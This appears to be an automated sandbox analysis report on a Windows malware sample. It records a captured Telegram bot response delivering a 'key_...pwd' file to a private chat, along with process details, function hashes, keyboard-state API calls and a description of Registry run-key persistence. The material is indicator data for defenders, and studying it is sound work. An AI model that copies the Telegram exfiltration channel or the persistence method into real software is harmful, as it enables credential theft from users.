2025-01-15 15:43:52 UTC	851	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 15 Jan 2025 15:43:52 GMT Content-Type: application/json Content-Length: 463 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":477,"from":{"id":7277798486,"is_bot":true,"first_name":"cryptoexodusbot","username":"cryptoexodusbot"},"chat":{"id":6620670038,"first_name":"TUCKER CARLLSON","username":"tackercarllson","type":"private"},"date":1736955832,"document":{"file_name":"key_74085fb5-dd20-4120-a9b1-4a9edcda13a9.pwd","file_id":"BQACAgIAAxkDAAIB3WeH17ebOAqrV3cFoEEDh2o1GUk9AAIGYgACNOdBSMwJtNVV--bENgQ","file_unique_id":"AgADBmIAAjTnQUg","file_size":81}}}

Target ID:	0
Start time:	10:43:47
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\aASfOObWpW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aASfOObWpW.exe"
Imagebase:	0x290000
File size:	17'920 bytes
MD5 hash:	0E1CBCE00ABF322C5E98AFB2E6C46998
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:44:00
Start date:	15/01/2025
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff6a9030000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.3%
Total number of Nodes:	95
Total number of Limit Nodes:	8

Executed Functions

Function 08A78C90 Relevance: 1.9, Strings: 1, Instructions: 693
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fff?, xrefs: 08A792F7

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID:
String ID: fff?
API String ID: 0-4136771917
Opcode ID: 8d9c75836c81d6b5e997976997f817c1efe8b9466d7289c8f248ba47526d361c
Instruction ID: 1106b6eb5f44372c37ee4028ada3bfb49a5a01aa813c0a69d0cdd4a5cb55df24
Opcode Fuzzy Hash: 8d9c75836c81d6b5e997976997f817c1efe8b9466d7289c8f248ba47526d361c
Instruction Fuzzy Hash: F562F83580061ADECF11DF50C884BDABBB2FF99304F1586D5E9086B125E771AADADF80

Function 08A70530 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: ea91dc31c50a09afec4c052d2095db24b2d7ba3feeed5220e672fcd779d67ef2
Instruction ID: 9a42e574fe809e2ddb2e620fa7ebf85eea9d10499dac3df7e3c7aad6fa0f2a09
Opcode Fuzzy Hash: ea91dc31c50a09afec4c052d2095db24b2d7ba3feeed5220e672fcd779d67ef2
Instruction Fuzzy Hash: 80F17C30A00609CFDB14DFA9CD44BADBBF1BF88315F158168E409AB7A5DBB4E945DB80

Function 009EDD60 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 009EDDDE
GetCurrentThread.KERNEL32 ref: 009EDE1B
GetCurrentProcess.KERNEL32 ref: 009EDE58
GetCurrentThreadId.KERNEL32 ref: 009EDEB1

Memory Dump Source

Source File: 00000000.00000002.3896910741.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_aASfOObWpW.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 21e06dc48d8fb03dccad8ae2031f76df461da95ca28866a8215367b0163d979b
Instruction ID: 49e0fb01f6edbc0204b0b53192ff152e5fd72c2cad570d96fdbaf59c2072f7e8
Opcode Fuzzy Hash: 21e06dc48d8fb03dccad8ae2031f76df461da95ca28866a8215367b0163d979b
Instruction Fuzzy Hash: 625157B09013498FDB14DFAAD948BAEBBF5EF48314F20C459D009A73A0DB789984CB65

Function 009EBAC8 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3896910741.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_aASfOObWpW.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3170be66a4cbc91d032e53030b2e454bea47a87c7a285cb7846cecef0aa0ce5d
Instruction ID: 2d02759d6e8c7a2510685c12d83e0be140358450484806b1ce6aeaea2fa7de8d
Opcode Fuzzy Hash: 3170be66a4cbc91d032e53030b2e454bea47a87c7a285cb7846cecef0aa0ce5d
Instruction Fuzzy Hash: 00713070A00B458FDB25DF2AD45575BBBF5FF88300F00892DD48A97A54DB75E846CB90

Function 009E5BCC Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009E5C89

Memory Dump Source

Source File: 00000000.00000002.3896910741.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_aASfOObWpW.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 82c0088e7535761aa0556099855f293c4fc640c947cd22efb4033727940fb26d
Instruction ID: 1fb750504e66dea6844326c95e99b298bc5ccdd588d33b33a28dd217d2caaaad
Opcode Fuzzy Hash: 82c0088e7535761aa0556099855f293c4fc640c947cd22efb4033727940fb26d
Instruction Fuzzy Hash: 7F4102B0C00759CFDB25CFAAC854BDDBBB5BF48304F20816AD409AB291DB756946CF60

Function 009E44C8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009E5C89

Memory Dump Source

Source File: 00000000.00000002.3896910741.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_aASfOObWpW.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 76d704f5d535a64515680592666f4d48159ff3a7cff6e34eae17fc4e5305a72f
Instruction ID: c940cdb8510fdbe8f9fe31af10d67de2b0547376d33a73f0477f195c33f9ab8d
Opcode Fuzzy Hash: 76d704f5d535a64515680592666f4d48159ff3a7cff6e34eae17fc4e5305a72f
Instruction Fuzzy Hash: 7E41D2B0C00719CFDB25DFAAC854BDDBBB5BF48304F20806AD408AB255DB756946CFA0

Function 009EDFA8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 009EE02F

Memory Dump Source

Source File: 00000000.00000002.3896910741.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_aASfOObWpW.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b6fe602508b3d4d09de9894ef78597a2293690e4d5dfefb3b55302594b495e71
Instruction ID: 6e10dd8bab52faaffb0f2908923e967919fb79fb63648886fceca9d6f3ea3960
Opcode Fuzzy Hash: b6fe602508b3d4d09de9894ef78597a2293690e4d5dfefb3b55302594b495e71
Instruction Fuzzy Hash: 8621C4B59002499FDB10CF9AD584ADEBBF9FB48310F14841AE918A3350D379A954CFA5

Function 08A7009C Relevance: 1.6, APIs: 1, Instructions: 55
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,?,00000000,00000000,00000000,?,?,?,?,08A70712,00000000,00000000,03634104,02650E38), ref: 08A70B60

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: e75ed6cbb0a3c2c0c52f44aa59110419e238544a7a4703009871679a78d05462
Instruction ID: cb6d7471aae23b45432716f451f2b27713992b1ff0683d52f99ddf9307f4f7b2
Opcode Fuzzy Hash: e75ed6cbb0a3c2c0c52f44aa59110419e238544a7a4703009871679a78d05462
Instruction Fuzzy Hash: 671126B5C00609DFDB10DF9AD844BEEBBF8FB48310F10842AE958A3241C378A944DFA5

Function 08A700B4 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,00000000,?,?,?,08A7079F,00000000,03634104,02650E38,00000000,?), ref: 08A70E2D

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 043e1499e034f833752b8d2409d67d4eec770a147c2507065f4374050176b93f
Instruction ID: 5ba6457c3a8bc61910d900805c451a45b099ccdca9d658560a051f101b028355
Opcode Fuzzy Hash: 043e1499e034f833752b8d2409d67d4eec770a147c2507065f4374050176b93f
Instruction Fuzzy Hash: CA1104B18047499FDB10DF9AD844BEEFBF8FB48310F10842AE958A3641D378A944CFA5

Function 08A70AF3 Relevance: 1.6, APIs: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,?,00000000,00000000,00000000,?,?,?,?,08A70712,00000000,00000000,03634104,02650E38), ref: 08A70B60

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 2f25ef7266eee3e54552dc8de196531f543ac915896d3a05be9cde3cbfeb6922
Instruction ID: 228cc235a88a42aeec2535fb7b3417d0039e6650ed4be185e4224ed3f59696e2
Opcode Fuzzy Hash: 2f25ef7266eee3e54552dc8de196531f543ac915896d3a05be9cde3cbfeb6922
Instruction Fuzzy Hash: 1411F6B5C002499FDB10DFAAD884BEEBBF4FB48310F10842AE559A3651C378A645DFA5

Function 08A70DC7 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,00000000,?,?,?,08A7079F,00000000,03634104,02650E38,00000000,?), ref: 08A70E2D

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 244917c24654056c38b5d0e8bbd6841b2ae37a0e151ed9e197e3883a23167bfe
Instruction ID: 845791b5afe6be54a46d5bdd9823d3c997215d75ad59c8a9795a282afc1f8d97
Opcode Fuzzy Hash: 244917c24654056c38b5d0e8bbd6841b2ae37a0e151ed9e197e3883a23167bfe
Instruction Fuzzy Hash: F111F3B58002499FDB10DF9AD884BEEFBF4EB48310F10842AE558A3640D378A544CFA5

Function 009EA538 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,009EBAE4), ref: 009EBD1E

Memory Dump Source

Source File: 00000000.00000002.3896910741.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_aASfOObWpW.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c39cd6dbde4fd06f03349982c3a17a3260d255296019149762de7f2f87b09512
Instruction ID: 3cd964c4de1ba0a61ef20ca17151bc6396ebeaa23f9c552a1b2148011869cd9a
Opcode Fuzzy Hash: c39cd6dbde4fd06f03349982c3a17a3260d255296019149762de7f2f87b09512
Instruction Fuzzy Hash: D91102B5C003898FCB21DF9AD844A9FFBF9EB48310F10842AD919A7250D379A945CFA1

Function 08A700E8 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,08A70857), ref: 08A712FD

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 22c2644c64e87ebdd383bdf3320e5ee37383900d95fe1a985de888e820d17f45
Instruction ID: 40ed3d9457ab6392a43cb6feeb3a973497fc4a6d7b9d60f2431dd4b91f436949
Opcode Fuzzy Hash: 22c2644c64e87ebdd383bdf3320e5ee37383900d95fe1a985de888e820d17f45
Instruction Fuzzy Hash: 2B11C2B5C046498FCB20DF9AD844B9EFBF8EB48320F10846AE559A7750D378A544CFA5

Function 08A7129F Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,08A70857), ref: 08A712FD

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: a56fc94469d2c961ac1167a94b78ca15608995a01215c9116ca0f8de9e87a285
Instruction ID: d2f03c0f64ea5ef658f82ce9ef786aab75f99436c260db423df67c64516a3bb3
Opcode Fuzzy Hash: a56fc94469d2c961ac1167a94b78ca15608995a01215c9116ca0f8de9e87a285
Instruction Fuzzy Hash: 361100B5C046498ECB20DF9AE444BDEFBF4EB48320F10852AD459B3610C378A544CFA5

Function 0098D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896535842.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1632b9603c5ae8d7ceabae7dddb1ee16c6098109eb66aa8b08dfbe37a287398d
Instruction ID: 9a4e28cc2310084f3bffea901710a4374a0427929120caec4364179b49265815
Opcode Fuzzy Hash: 1632b9603c5ae8d7ceabae7dddb1ee16c6098109eb66aa8b08dfbe37a287398d
Instruction Fuzzy Hash: 07212871504240DFDB05EF14D9C0F26BF69FB98318F20C56AE9090B39AC33AD816D7A1

Function 0099D318 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896627860.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d84c7848923db33ff9647b152aa3dabbec68642e4ed32441202b004da3c03d4
Instruction ID: 415fade5a815332ddba29355f2cc43ef64b311559cb1992b0f5b4f64880e4d22
Opcode Fuzzy Hash: 3d84c7848923db33ff9647b152aa3dabbec68642e4ed32441202b004da3c03d4
Instruction Fuzzy Hash: 45212671505204DFDF04DF18D9C1B2ABB69FB84319F24C569E8490B245C33ED806CAA2

Function 0099D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896627860.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca29292af197aac4477b826796a8ba3f861942e0fe874ecbdcca2439874db5b
Instruction ID: 6b99df4ba5e625e8bf0612e6a76bc05604f6e119f7c840dc5eeea9b64791ec89
Opcode Fuzzy Hash: 2ca29292af197aac4477b826796a8ba3f861942e0fe874ecbdcca2439874db5b
Instruction Fuzzy Hash: EE21F271604204DFDF14DF28D9C4B26BF69FB98314F24C969D94A4B296C33BD807CA61

Function 0099D1EC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896627860.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53855488e7b8cb65d7b9ec424cf77f7a8c8b420b399eccf4ad7045561194f9d9
Instruction ID: 39e8a1d58456361005f02a5db5b58ec3f0a580230090b0b11d94af774e425997
Opcode Fuzzy Hash: 53855488e7b8cb65d7b9ec424cf77f7a8c8b420b399eccf4ad7045561194f9d9
Instruction Fuzzy Hash: 73213471504300DFDF04DF68C5C0B2ABB69FB98314F20C96DD8190B396C33AD806CAA1

Function 0099D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896627860.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8ba290f21ac117f104c5030131b90e3dcc8b1508cf976a04b3e66e5305c94f
Instruction ID: 0110930bfac7feba30efd3b2d8629087652cfbf565b0b4dc62d7c2bb87ec57b8
Opcode Fuzzy Hash: 6d8ba290f21ac117f104c5030131b90e3dcc8b1508cf976a04b3e66e5305c94f
Instruction Fuzzy Hash: 8B215E755093808FDB12CF24D9D4715BF71EB46314F28C5EAD8898B6A7C33A980ACB62

Function 0098D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896535842.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 1034ad510b93e7d09d8882b8938212b6960b741347ac84816597c115add9515d
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: E3112672404280CFCB02DF10D5C4B16BF71FB98314F24C6AAE8490B75AC336D85ACBA2

Function 0099D313 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896627860.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 5a084a37cbe7b89e3a5a0ad978736ff608203056e8ac848c8e6ab981ab12d576
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: BA119075505284CFDB12CF14D5C4B19BF61FB84324F28C6AAD8494B656C33AD80ACBA2

Function 0099D1E7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896627860.000000000099D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0099D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 916cd12237a8c7248e0b988ab5797a839d8c6fc48346dc1d89776d5242cc4862
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 10119D75505280DFDB06CF54D5C4B19BFA2FB88314F28C6A9D8494B696C33AD84ACBA2

Function 0098D7E1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896535842.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965455d8beb747a092f8a2df3a2b7c15e90f02b207d0af67ae745efb3c8f15ac
Instruction ID: 42481a3bfa4655c31be9b12846e02a912a1ff279f428856e12c5f1d8f63be57c
Opcode Fuzzy Hash: 965455d8beb747a092f8a2df3a2b7c15e90f02b207d0af67ae745efb3c8f15ac
Instruction Fuzzy Hash: AE01A7314063449AD720AA5ADD84B66BFACEF45320F18C829ED494B3C6C2799840CBB1

Function 0098D7E0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3896535842.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 370a348d617e227f47bd483d9444c90024a7c0e8d38bcad5439d6349777b41d6
Instruction ID: 1d1995ed4e9b03e32515c1a822203ea38221aaf0e3b0e085e541e5ad46e914db
Opcode Fuzzy Hash: 370a348d617e227f47bd483d9444c90024a7c0e8d38bcad5439d6349777b41d6
Instruction Fuzzy Hash: 7CF062714053449EE7109A1AD9C4B66FFACEF55724F18C45AED4C4F286C2799844CBB1

Non-executed Functions

Function 08A7D919 Relevance: 7.6, APIs: 5, Instructions: 115keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 08A7D975
GetKeyState.USER32(00000002), ref: 08A7D9BA
GetKeyState.USER32(00000004), ref: 08A7D9FF
GetKeyState.USER32(00000005), ref: 08A7DA44
GetKeyState.USER32(00000006), ref: 08A7DA89

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 2f8c0a70508968ff4cc05d379d7599cecac78edc47eae4547c3f3a974e3029da
Instruction ID: 4f6492594435bf1f0e888c0198afedda09d46c413531d5312ec7763c21fafae0
Opcode Fuzzy Hash: 2f8c0a70508968ff4cc05d379d7599cecac78edc47eae4547c3f3a974e3029da
Instruction Fuzzy Hash: F741B0B18057858EDB21DF99C9483AFBFF4BF0130AF208409D058B7690D3B89285DBB2

Function 08A7D928 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 08A7D975
GetKeyState.USER32(00000002), ref: 08A7D9BA
GetKeyState.USER32(00000004), ref: 08A7D9FF
GetKeyState.USER32(00000005), ref: 08A7DA44
GetKeyState.USER32(00000006), ref: 08A7DA89

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 8935b26b43394e906fa812c52a2a3877cc1abd65b27e74a0aa9178c4d552dd73
Instruction ID: 09b5b12c2db94e3f349373c5ea4ab9663f34c7ec01a5c8ad2cf8cb18f01bf78f
Opcode Fuzzy Hash: 8935b26b43394e906fa812c52a2a3877cc1abd65b27e74a0aa9178c4d552dd73
Instruction Fuzzy Hash: F4416EB18047458EDB20DF9AC9483AFBFF4BF0570AF208409D159B7690D3B99685DBB2

Function 08A736A8 Relevance: 5.3, Strings: 4, Instructions: 265COMMON

Download Yara Rule

Strings

Hnq, xrefs: 08A7381D
(nq, xrefs: 08A737F1
(&jq, xrefs: 08A73979
, xrefs: 08A73744

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID:
String ID: $(&jq$(nq$Hnq
API String ID: 0-152196843
Opcode ID: 2f1b3d09bbe5534215a97e37bf73e37aa666ca7ffc39fd9ce14780a6fd613018
Instruction ID: fe764c446a3fd91be95d2a4b8c0b5abcff33a721477096f27f1febb992b11489
Opcode Fuzzy Hash: 2f1b3d09bbe5534215a97e37bf73e37aa666ca7ffc39fd9ce14780a6fd613018
Instruction Fuzzy Hash: 12918BB1E012199FDB18DF79C854AAFBAF6EF88310F11842DE406E7744DB359902DBA0

Function 08A78C7F Relevance: 1.7, Strings: 1, Instructions: 453COMMON

Download Yara Rule

Strings

fff?, xrefs: 08A792F7

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID:
String ID: fff?
API String ID: 0-4136771917
Opcode ID: 6efff8d65e76883b38e33b38864317366ec9c932127c2d1667977a6457c37f55
Instruction ID: c63c27de26f077f7e7ba0a87d225b9996e5c89d4cd3cf37a31a4db6bad07f482
Opcode Fuzzy Hash: 6efff8d65e76883b38e33b38864317366ec9c932127c2d1667977a6457c37f55
Instruction Fuzzy Hash: 8F125B35800619DFCF11CF50C884BDABBB2FF49304F1985D9D9086B266D776AA9ADF80

Function 08A79940 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c51c88b64798e543d4d5cf91fbd0e19802a5706cf0728a9fae7b6d990c871031
Instruction ID: aa6aa791092ded7afb15915f6927cb065eace2c42bbc616243d438928123709b
Opcode Fuzzy Hash: c51c88b64798e543d4d5cf91fbd0e19802a5706cf0728a9fae7b6d990c871031
Instruction Fuzzy Hash: FE81AD72D00A098ADB14CFA5DC403EEFBB2FF84345F19C53AD419A7A58EB39955ACB40

Function 08A79E98 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3901626225.0000000008A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a70000_aASfOObWpW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4698742ca90db097c9e5456692bca82d249ca783191092dbd57e5958987cfccc
Instruction ID: 212ac98aa0469cc242e167ca43bed96e0c5b1df0b4c513d1d43c50e2245edc71
Opcode Fuzzy Hash: 4698742ca90db097c9e5456692bca82d249ca783191092dbd57e5958987cfccc
Instruction Fuzzy Hash: 3B81E272D006098ADB14DFA5DC403EEFBB2EF84345F18C53AD415A7658EB39965ACB40

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to lowest risk score due to lack of data" ] }
Date: unknown

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
